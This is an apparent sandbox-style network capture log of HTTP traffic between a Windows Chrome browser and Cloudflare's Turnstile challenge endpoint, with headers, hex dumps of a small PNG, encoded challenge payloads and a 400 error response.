2025-03-14 15:04:53 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9204aa6769be577b/1741964690446/1uLqQM8--8n5BJv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:53 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:53 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9204aa85dd45423b-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 11 00 00 00 60 08 02 00 00 00 74 71 0e c9 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR`tqIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:53 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9204aa6769be577b/1741964690446/1uLqQM8--8n5BJv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:54 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:54 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9204aa89fe660f84-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 11 00 00 00 60 08 02 00 00 00 74 71 0e c9 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR`tqIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:54 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 37979 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: 8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:54 UTC	16384	OUT	Data Raw: 30 53 56 79 24 34 6f 6e 7a 34 5a 75 56 38 51 63 4b 6f 4f 70 56 71 2b 70 63 70 6f 62 63 41 79 68 5a 56 6f 58 63 36 79 6f 7a 6f 6d 2b 63 73 79 68 53 71 4b 63 61 73 79 63 32 34 44 56 63 30 34 63 31 5a 6f 74 63 33 5a 6f 57 63 75 65 39 56 56 65 79 75 30 43 33 31 71 38 5a 63 61 38 33 69 6f 47 43 6f 69 75 4a 44 63 34 69 6f 50 63 65 6a 4f 49 4c 5a 66 79 31 73 6c 2b 71 63 75 51 4f 6a 63 68 4b 44 70 68 79 46 5a 50 63 77 75 71 6c 2d 44 71 41 79 6a 31 30 63 79 63 38 43 52 4a 42 50 36 56 63 71 58 4d 64 55 64 33 42 32 63 24 50 6d 53 69 7a 43 69 63 30 7a 79 46 79 34 6b 63 51 5a 70 46 50 63 63 2b 42 32 63 55 79 57 53 34 34 31 63 41 41 67 38 76 75 49 38 35 73 63 63 46 41 32 63 71 42 77 39 63 70 76 7a 4a 51 56 63 66 42 69 63 30 2b 68 63 62 79 71 6b 59 69 6f 6b 57 63 63 31 Data Ascii: 0SVy$4onz4ZuV8QcKoOpVq+pcpobcAyhZVoXc6yozom+csyhSqKcasyc24DVc04c1Zotc3ZoWcue9VVeyu0C31q8Zca83ioGCoiuJDc4ioPcejOILZfy1sl+qcuQOjchKDphyFZPcwuql-DqAyj10cyc8CRJBP6VcqXMdUd3B2c$PmSizCic0zyFy4kcQZpFPcc+B2cUyWS441cAAg8vuI85sccFA2cqBw9cpvzJQVcfBic0+hcbyqkYiokWcc1
2025-03-14 15:04:54 UTC	16384	OUT	Data Raw: 24 6f 56 6d 4a 4b 6e 6e 4e 6b 30 54 24 44 46 52 79 48 64 52 31 63 31 7a 38 56 52 35 51 62 49 65 59 70 33 4f 62 75 32 59 6a 24 63 5a 79 63 6d 54 35 62 6a 68 51 6d 71 44 46 79 49 42 59 70 35 51 52 2d 55 79 6e 63 41 54 73 31 63 79 67 51 46 63 5a 63 64 57 36 6d 75 31 6d 46 63 35 69 71 56 6d 69 61 61 6f 53 6f 32 77 63 56 69 71 34 63 4f 74 38 46 62 55 79 37 31 79 66 63 65 51 35 56 61 49 44 6c 6c 66 63 33 32 34 31 48 56 4f 34 36 5a 6c 63 53 79 41 4f 32 6a 6f 68 79 68 66 63 70 63 7a 35 6d 32 71 41 47 70 44 62 41 74 6c 6c 4a 32 6f 43 35 7a 78 64 64 4e 47 73 5a 6b 49 6e 46 48 5a 4a 32 75 56 71 74 62 65 63 58 32 6f 63 69 31 79 6f 47 61 7a 79 39 65 75 69 70 47 32 32 43 70 4c 61 7a 62 41 52 6e 64 62 4e 63 51 69 35 54 75 64 32 73 79 5a 6f 31 56 6f 55 79 57 36 46 6d 63 Data Ascii: $oVmJKnnNk0T$DFRyHdR1c1z8VR5QbIeYp3Obu2Yj$cZycmT5bjhQmqDFyIBYp5QR-UyncATs1cygQFcZcdW6mu1mFc5iqVmiaaoSo2wcViq4cOt8FbUy71yfceQ5VaIDllfc3241HVO46ZlcSyAO2johyhfcpcz5m2qAGpDbAtllJ2oC5zxddNGsZkInFHZJ2uVqtbecX2oci1yoGazy9euipG22CpLazbARndbNcQi5Tud2syZo1VoUyW6Fmc
2025-03-14 15:04:54 UTC	5211	OUT	Data Raw: 68 6e 48 39 51 63 43 6c 2d 44 30 50 76 62 6d 78 79 75 78 24 39 57 6d 48 2b 73 58 51 6a 6e 32 75 78 43 59 56 2d 4b 78 4c 42 57 48 50 4f 38 50 24 67 57 58 70 39 37 42 34 63 37 62 42 71 58 63 75 72 39 33 6e 58 75 63 57 48 64 38 79 35 48 2d 63 31 38 32 48 63 69 70 70 6e 63 78 79 38 69 34 6e 24 56 58 48 58 58 49 69 36 6c 58 41 4d 33 58 33 56 4f 6b 56 64 58 7a 2b 58 5a 34 36 6f 54 38 4f 48 39 79 63 6a 63 70 5a 71 42 50 4a 69 31 52 2d 4c 63 5a 35 43 61 6c 6e 6c 54 67 58 79 38 51 6c 38 51 6c 78 57 49 43 6c 56 6d 52 4d 69 73 61 57 62 6b 6c 7a 63 54 38 62 6b 6c 6e 6f 6e 4f 43 6c 5a 4f 42 4a 43 39 48 7a 24 50 2d 5a 69 79 75 79 42 52 38 43 61 75 5a 6c 71 58 78 63 35 75 78 41 34 53 38 35 6e 42 62 6d 51 2b 43 6e 63 39 79 71 6c 78 71 71 33 70 6d 69 6f 52 62 4d 6d 65 37 Data Ascii: hnH9QcCl-D0Pvbmxyux$9WmH+sXQjn2uxCYV-KxLBWHPO8P$gWXp97B4c7bBqXcur93nXucWHd8y5H-c182Hcippncxy8i4n$VXHXXIi6lXAM3X3VOkVdXz+XZ46oT8OH9ycjcpZqBPJi1R-LcZ5CalnlTgXy8Ql8QlxWIClVmRMisaWbklzcT8bklnonOClZOBJC9Hz$P-ZiyuyBR8CauZlqXxc5uxA4S85nBbmQ+Cnc9yqlxqq3pmioRbMme7
2025-03-14 15:04:55 UTC	322	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:55 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28000 Connection: close cf-chl-gen: ntuQQXYGZwsYKwufSEzJ+I4QipFMmsyuockiPXi0Fl3uipyMkMYeU4PZkZAR0KMD$OkKMVmAGcps2E7hOpYdPOA== Server: cloudflare CF-RAY: 9204aa8f4b1f5f83-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:55 UTC	1047	IN	Data Raw: 61 6d 35 6e 55 47 31 70 58 57 74 34 6b 32 70 78 67 6d 42 6a 59 6e 57 49 66 35 6d 4d 69 70 32 64 6b 49 36 6f 72 71 6d 54 67 72 61 69 71 61 65 79 6c 58 79 59 6c 62 69 53 66 6e 36 39 76 63 4b 2b 74 6f 47 6f 68 5a 65 37 68 4b 2b 58 7a 38 75 74 6f 70 79 6f 6f 73 4b 70 77 37 47 61 6b 73 36 65 6e 72 62 56 6d 39 54 44 74 4b 47 32 73 64 76 57 73 36 79 32 76 4c 2b 75 37 62 48 72 33 75 4c 65 77 63 44 4a 31 62 48 61 7a 76 7a 74 75 75 33 74 39 4c 33 4f 38 50 66 57 76 38 54 61 35 65 33 62 32 77 76 48 36 41 37 2b 43 51 50 31 47 68 58 33 37 66 6e 64 44 2b 30 56 41 76 66 75 37 79 4c 6d 49 42 55 53 42 77 72 37 34 77 30 4b 2b 2b 73 71 4d 51 6b 74 4a 67 34 71 46 6a 73 54 38 77 62 32 47 78 77 30 2f 52 63 35 51 54 56 41 52 51 41 63 42 68 6c 45 52 43 6b 6b 48 54 51 69 52 6c 41 Data Ascii: am5nUG1pXWt4k2pxgmBjYnWIf5mMip2dkI6orqmTgraiqaeylXyYlbiSfn69vcK+toGohZe7hK+Xz8utopyoosKpw7Gaks6enrbVm9TDtKG2sdvWs6y2vL+u7bHr3uLewcDJ1bHazvztuu3t9L3O8PfWv8Ta5e3b2wvH6A7+CQP1GhX37fndD+0VAvfu7yLmIBUSBwr74w0K++sqMQktJg4qFjsT8wb2Gxw0/Rc5QTVARQAcBhlERCkkHTQiRlA
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 58 6d 57 5a 32 6d 35 71 42 5a 4b 47 44 62 33 36 4e 71 4b 47 43 69 49 61 73 64 62 79 2b 6c 72 57 55 74 4a 36 35 71 4b 43 6f 74 6f 75 73 6e 4b 6d 36 67 73 32 6f 78 63 75 75 73 49 2b 78 75 4c 6e 4f 74 63 71 33 71 4e 4c 58 33 37 33 45 33 36 2b 6b 34 72 57 71 75 63 61 39 33 37 2b 70 7a 4f 44 70 72 64 44 68 78 37 58 4f 36 4c 62 38 32 62 7a 75 7a 50 50 74 37 4c 2f 50 75 4f 58 64 77 76 6e 48 42 65 76 76 79 39 72 65 42 66 50 38 35 41 72 74 45 2b 6a 76 31 75 72 32 48 42 77 54 38 42 33 65 33 4f 54 68 4a 68 2f 32 39 76 4d 46 41 66 67 69 42 67 59 79 36 7a 51 55 38 76 63 72 44 75 77 77 4b 43 63 62 43 68 73 41 2b 77 51 59 4d 66 34 63 49 44 63 69 50 30 4a 49 54 53 34 4e 4a 79 55 39 45 30 49 50 43 69 51 37 57 6c 64 54 48 44 34 32 59 52 74 4c 50 7a 68 43 4e 54 35 6d 51 6a Data Ascii: XmWZ2m5qBZKGDb36NqKGCiIasdby+lrWUtJ65qKCotousnKm6gs2oxcuusI+xuLnOtcq3qNLX373E36+k4rWquca937+pzODprdDhx7XO6Lb82bzuzPPt7L/PuOXdwvnHBevvy9reBfP85ArtE+jv1ur2HBwT8B3e3OThJh/29vMFAfgiBgYy6zQU8vcrDuwwKCcbChsA+wQYMf4cIDciP0JITS4NJyU9E0IPCiQ7WldTHD42YRtLPzhCNT5mQj
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 69 57 79 51 62 70 53 74 71 35 53 6a 6c 58 53 76 6b 49 32 67 77 4c 52 37 6e 71 32 45 76 37 36 42 75 4b 58 4b 70 36 6d 49 78 4c 47 65 6d 37 50 49 70 4e 53 75 6c 62 53 57 7a 5a 7a 61 75 64 72 58 6e 4c 76 68 6f 65 47 6e 33 38 4b 38 36 38 6a 64 78 4f 50 49 34 63 4c 7a 38 71 76 4e 71 64 58 44 2b 74 6a 7a 32 37 76 73 2f 66 65 36 76 64 2f 4e 2f 50 32 2b 43 50 37 6c 79 74 2f 6b 34 64 2f 51 41 73 58 63 30 78 59 55 37 67 50 32 39 76 55 50 31 66 4d 55 36 66 50 35 34 50 72 36 47 50 55 67 36 50 34 57 49 66 76 75 4c 78 34 48 4b 51 58 7a 45 42 67 4f 44 68 4d 4c 2b 2f 6e 37 2f 50 59 79 48 44 6f 5a 4d 55 67 67 49 51 63 48 42 79 70 4d 44 31 41 64 4b 53 41 47 4d 53 46 59 45 45 4e 45 53 6c 74 62 4d 56 42 41 4e 44 67 62 4f 78 35 50 49 68 35 70 55 79 5a 6d 4c 47 63 6f 54 69 78 Data Ascii: iWyQbpStq5SjlXSvkI2gwLR7nq2Ev76BuKXKp6mIxLGem7PIpNSulbSWzZzaudrXnLvhoeGn38K868jdxOPI4cLz8qvNqdXD+tjz27vs/fe6vd/N/P2+CP7lyt/k4d/QAsXc0xYU7gP29vUP1fMU6fP54Pr6GPUg6P4WIfvuLx4HKQXzEBgODhML+/n7/PYyHDoZMUggIQcHBypMD1AdKSAGMSFYEENESltbMVBANDgbOx5PIh5pUyZmLGcoTix
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 72 61 59 70 33 6d 56 63 49 32 4f 63 35 75 41 6a 34 53 31 76 35 32 58 78 36 75 66 78 4d 4f 61 72 36 61 68 30 36 57 4e 6b 4d 6e 55 32 64 50 56 70 73 61 6e 71 61 43 70 74 37 47 66 70 61 44 6c 77 38 66 57 33 4f 50 75 75 64 6e 71 76 66 4b 37 34 63 37 77 72 65 50 33 78 66 58 6f 78 76 58 54 39 4c 76 56 42 64 67 45 34 4f 4f 36 34 77 54 71 44 75 48 63 43 74 2f 69 41 68 44 73 36 2b 48 66 38 64 41 4c 37 67 30 54 42 39 6b 54 39 77 33 38 46 65 37 31 42 68 62 78 43 68 51 57 2b 41 45 46 36 53 49 52 4b 2f 77 42 37 67 66 33 4d 50 55 6d 47 2f 4d 30 43 78 30 75 51 7a 38 33 42 53 38 59 4f 6b 55 36 4b 44 73 66 47 69 70 41 43 30 4d 6e 56 54 55 77 56 6c 6c 58 46 52 4e 55 4d 44 68 51 51 6a 51 36 57 43 31 68 52 6c 38 6b 48 43 4a 59 62 6c 6f 76 63 57 5a 4e 5a 47 6f 75 51 32 35 47 Data Ascii: raYp3mVcI2Oc5uAj4S1v52Xx6ufxMOar6ah06WNkMnU2dPVpsanqaCpt7GfpaDlw8fW3OPuudnqvfK74c7wreP3xfXoxvXT9LvVBdgE4OO64wTqDuHcCt/iAhDs6+Hf8dAL7g0TB9kT9w38Fe71BhbxChQW+AEF6SIRK/wB7gf3MPUmG/M0Cx0uQz83BS8YOkU6KDsfGipAC0MnVTUwVllXFRNUMDhQQjQ6WC1hRl8kHCJYblovcWZNZGouQ25G
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 2b 32 72 63 47 63 73 63 54 41 73 37 66 44 6e 4c 2b 71 72 4b 79 67 6a 64 47 53 6a 59 75 50 76 71 65 30 32 4e 6a 54 30 4b 72 4a 73 64 4c 4f 6d 4b 43 65 74 63 62 43 30 75 6d 37 37 4c 2f 56 76 74 36 2f 76 65 54 6b 72 4d 71 75 34 65 44 30 74 4f 50 6c 39 74 75 38 36 4e 58 62 41 50 33 34 77 67 58 56 31 4f 6a 4c 42 50 34 43 35 78 49 43 7a 73 6e 6e 43 77 6a 52 31 75 2f 71 36 50 6e 72 38 78 6a 65 41 42 6f 63 31 74 33 7a 47 43 63 4b 41 53 41 6f 42 42 44 74 4b 50 77 43 49 2b 73 51 44 69 45 73 49 79 38 53 2b 54 51 2f 47 55 49 36 4c 51 44 39 4e 44 67 77 46 41 55 64 4f 6a 6f 76 52 42 77 6c 54 30 34 54 42 77 78 53 55 46 63 78 4d 44 73 54 4e 69 38 73 49 56 68 58 4c 54 42 67 49 78 70 58 53 6d 5a 69 5a 6b 5a 50 63 54 39 75 58 53 59 75 63 45 31 76 64 54 41 74 56 58 63 2b 56 Data Ascii: +2rcGcscTAs7fDnL+qrKygjdGSjYuPvqe02NjT0KrJsdLOmKCetcbC0um77L/Vvt6/veTkrMqu4eD0tOPl9tu86NXbAP34wgXV1OjLBP4C5xICzsnnCwjR1u/q6Pnr8xjeABoc1t3zGCcKASAoBBDtKPwCI+sQDiEsIy8S+TQ/GUI6LQD9NDgwFAUdOjovRBwlT04TBwxSUFcxMDsTNi8sIVhXLTBgIxpXSmZiZkZPcT9uXSYucE1vdTAtVXc+V
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 44 73 72 48 43 74 5a 4f 5a 77 37 66 4b 68 74 43 6c 78 71 65 6d 30 63 2b 79 6b 5a 4c 45 70 74 66 56 73 64 69 59 33 63 43 69 31 74 2f 66 31 72 4f 33 37 4b 62 6f 75 66 43 77 38 75 7a 43 72 63 62 46 77 72 6a 31 37 62 54 5a 38 4c 58 70 41 65 34 45 2b 38 7a 34 33 2b 54 32 2f 51 54 66 2b 65 6b 4e 44 2b 38 41 44 39 50 4f 41 39 2f 67 34 2b 76 6e 42 50 49 50 48 50 50 33 37 4f 76 72 49 76 67 6f 33 69 55 42 47 41 72 6c 47 76 6a 73 49 78 72 6f 4d 41 55 4b 4d 7a 45 50 4e 76 6e 33 38 79 30 2b 4c 67 33 39 50 6a 45 56 45 66 78 47 53 54 63 69 46 79 4a 44 4f 6a 41 4e 55 55 4d 76 48 55 30 75 4a 6b 77 31 45 31 73 6e 47 43 30 63 49 56 45 33 55 46 64 41 56 30 49 35 5a 56 35 6a 57 47 39 66 5a 54 6b 70 53 6e 52 47 4c 46 4e 69 4d 46 52 30 57 46 78 50 54 58 31 74 57 48 46 52 57 49 Data Ascii: DsrHCtZOZw7fKhtClxqem0c+ykZLEptfVsdiY3cCi1t/f1rO37KboufCw8uzCrcbFwrj17bTZ8LXpAe4E+8z43+T2/QTf+ekND+8AD9POA9/g4+vnBPIPHPP37OvrIvgo3iUBGArlGvjsIxroMAUKMzEPNvn38y0+Lg39PjEVEfxGSTciFyJDOjANUUMvHU0uJkw1E1snGC0cIVE3UFdAV0I5ZV5jWG9fZTkpSnRGLFNiMFR0WFxPTX1tWHFRWI
2025-03-14 15:04:55 UTC	1369	IN	Data Raw: 6d 6f 57 50 6e 37 6d 4d 7a 61 65 78 70 61 2b 54 78 71 6e 4b 6b 36 37 65 33 36 79 2f 34 4f 4b 77 30 62 43 2f 35 74 61 79 32 64 71 2b 37 4f 37 50 77 4b 2f 74 78 4e 48 47 7a 2b 37 6b 2b 71 32 32 32 37 37 55 2b 65 6d 37 41 4e 50 76 77 41 50 43 39 73 50 4c 34 39 7a 48 43 2b 66 72 79 51 2f 4b 41 39 48 73 7a 67 66 54 46 67 6f 49 31 39 2f 57 2b 39 7a 34 33 68 44 67 32 66 4d 53 4b 75 73 75 43 4f 67 62 4b 68 76 72 38 77 67 69 38 51 30 36 43 66 45 34 44 43 62 31 4f 78 67 77 2b 30 41 55 4d 45 59 49 51 6a 59 45 44 43 51 6f 43 69 56 4f 4c 41 70 50 56 69 55 52 51 77 39 47 46 54 49 73 53 42 6c 63 4c 45 38 61 49 31 4a 52 48 68 6f 30 55 79 5a 43 50 46 67 70 57 79 74 61 63 6a 52 32 5a 54 46 6a 4c 32 51 79 50 48 5a 6e 4e 6b 42 2b 55 54 31 5a 66 6d 39 42 67 31 78 6c 52 55 79 Data Ascii: moWPn7mMzaexpa+TxqnKk67e36y/4OKw0bC/5tay2dq+7O7PwK/txNHGz+7k+q22277U+em7ANPvwAPC9sPL49zHC+fryQ/KA9HszgfTFgoI19/W+9z43hDg2fMSKusuCOgbKhvr8wgi8Q06CfE4DCb1Oxgw+0AUMEYIQjYEDCQoCiVOLApPViURQw9GFTIsSBlcLE8aI1JRHho0UyZCPFgpWytacjR2ZTFjL2QyPHZnNkB+UT1Zfm9Bg1xlRUy

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:55 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:56 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 14 Mar 2025 15:04:55 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: r0fr7O9rAMk91a89e0b87DQ7Fon2oanU2Cr9lHlkAVr9C2KDk85h9yvat3EL4LONlDADgzNLeqOcgQrfS0Hs9g==$qtIoexDynb6wpwIxFGXdsA== Server: cloudflare CF-RAY: 9204aa959c8c4286-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:56 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:03 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40441 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: 8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:03 UTC	16384	OUT	Data Raw: 30 53 56 79 24 34 6f 6e 7a 34 5a 75 56 38 51 63 4b 6f 4f 70 56 71 2b 70 63 70 6f 62 63 41 79 68 5a 56 6f 58 63 36 79 6f 7a 6f 6d 2b 63 73 79 68 53 71 4b 63 61 73 79 63 32 34 44 56 63 30 34 63 31 5a 6f 74 63 33 5a 6f 57 63 75 65 39 56 56 65 79 75 30 43 33 31 71 38 5a 63 61 38 33 69 6f 47 43 6f 69 75 4a 44 63 34 69 6f 50 63 65 6a 4f 49 4c 5a 66 79 31 73 6c 2b 71 63 75 51 4f 6a 63 68 4b 44 70 68 79 46 5a 50 63 77 75 71 6c 2d 44 71 41 79 6a 31 30 63 79 63 38 43 52 4a 42 50 36 56 63 71 58 4d 64 55 64 33 42 32 63 24 50 6d 53 69 7a 43 69 63 30 7a 79 46 79 34 6b 63 51 5a 70 46 50 63 63 2b 42 32 63 55 79 57 53 34 34 31 63 41 41 67 38 76 75 49 38 35 73 63 63 46 41 32 63 71 42 77 39 63 70 76 7a 4a 51 56 63 66 42 69 63 30 2b 68 63 62 79 71 6b 59 69 6f 6b 57 63 63 31 Data Ascii: 0SVy$4onz4ZuV8QcKoOpVq+pcpobcAyhZVoXc6yozom+csyhSqKcasyc24DVc04c1Zotc3ZoWcue9VVeyu0C31q8Zca83ioGCoiuJDc4ioPcejOILZfy1sl+qcuQOjchKDphyFZPcwuql-DqAyj10cyc8CRJBP6VcqXMdUd3B2c$PmSizCic0zyFy4kcQZpFPcc+B2cUyWS441cAAg8vuI85sccFA2cqBw9cpvzJQVcfBic0+hcbyqkYiokWcc1
2025-03-14 15:05:03 UTC	16384	OUT	Data Raw: 24 6f 56 6d 4a 4b 6e 6e 4e 6b 30 54 24 44 46 52 79 48 64 52 31 63 31 7a 38 56 52 35 51 62 49 65 59 70 33 4f 62 75 32 59 6a 24 63 5a 79 63 6d 54 35 62 6a 68 51 6d 71 44 46 79 49 42 59 70 35 51 52 2d 55 79 6e 63 41 54 73 31 63 79 67 51 46 63 5a 63 64 57 36 6d 75 31 6d 46 63 35 69 71 56 6d 69 61 61 6f 53 6f 32 77 63 56 69 71 34 63 4f 74 38 46 62 55 79 37 31 79 66 63 65 51 35 56 61 49 44 6c 6c 66 63 33 32 34 31 48 56 4f 34 36 5a 6c 63 53 79 41 4f 32 6a 6f 68 79 68 66 63 70 63 7a 35 6d 32 71 41 47 70 44 62 41 74 6c 6c 4a 32 6f 43 35 7a 78 64 64 4e 47 73 5a 6b 49 6e 46 48 5a 4a 32 75 56 71 74 62 65 63 58 32 6f 63 69 31 79 6f 47 61 7a 79 39 65 75 69 70 47 32 32 43 70 4c 61 7a 62 41 52 6e 64 62 4e 63 51 69 35 54 75 64 32 73 79 5a 6f 31 56 6f 55 79 57 36 46 6d 63 Data Ascii: $oVmJKnnNk0T$DFRyHdR1c1z8VR5QbIeYp3Obu2Yj$cZycmT5bjhQmqDFyIBYp5QR-UyncATs1cygQFcZcdW6mu1mFc5iqVmiaaoSo2wcViq4cOt8FbUy71yfceQ5VaIDllfc3241HVO46ZlcSyAO2johyhfcpcz5m2qAGpDbAtllJ2oC5zxddNGsZkInFHZJ2uVqtbecX2oci1yoGazy9euipG22CpLazbARndbNcQi5Tud2syZo1VoUyW6Fmc
2025-03-14 15:05:03 UTC	7673	OUT	Data Raw: 68 6e 48 39 51 63 43 6c 2d 44 30 50 76 62 6d 78 79 75 78 24 39 57 6d 48 2b 73 58 51 6a 6e 32 75 78 43 59 56 2d 4b 78 4c 42 57 48 50 4f 38 50 24 67 57 58 70 39 37 42 34 63 37 62 42 71 58 63 75 72 39 33 6e 58 75 63 57 48 64 38 79 35 48 2d 63 31 38 32 48 63 69 70 70 6e 63 78 79 38 69 34 6e 24 56 58 48 58 58 49 69 36 6c 58 41 4d 33 58 33 56 4f 6b 56 64 58 7a 2b 58 5a 34 36 6f 54 38 4f 48 39 79 63 6a 63 70 5a 71 42 50 4a 69 31 52 2d 4c 63 5a 35 43 61 6c 6e 6c 54 67 58 79 38 51 6c 38 51 6c 78 57 49 43 6c 56 6d 52 4d 69 73 61 57 62 6b 6c 7a 63 54 38 62 6b 6c 6e 6f 6e 4f 43 6c 5a 4f 42 4a 43 39 48 7a 24 50 2d 5a 69 79 75 79 42 52 38 43 61 75 5a 6c 71 58 78 63 35 75 78 41 34 53 38 35 6e 42 62 6d 51 2b 43 6e 63 39 79 71 6c 78 71 71 33 70 6d 69 6f 52 62 4d 6d 65 37 Data Ascii: 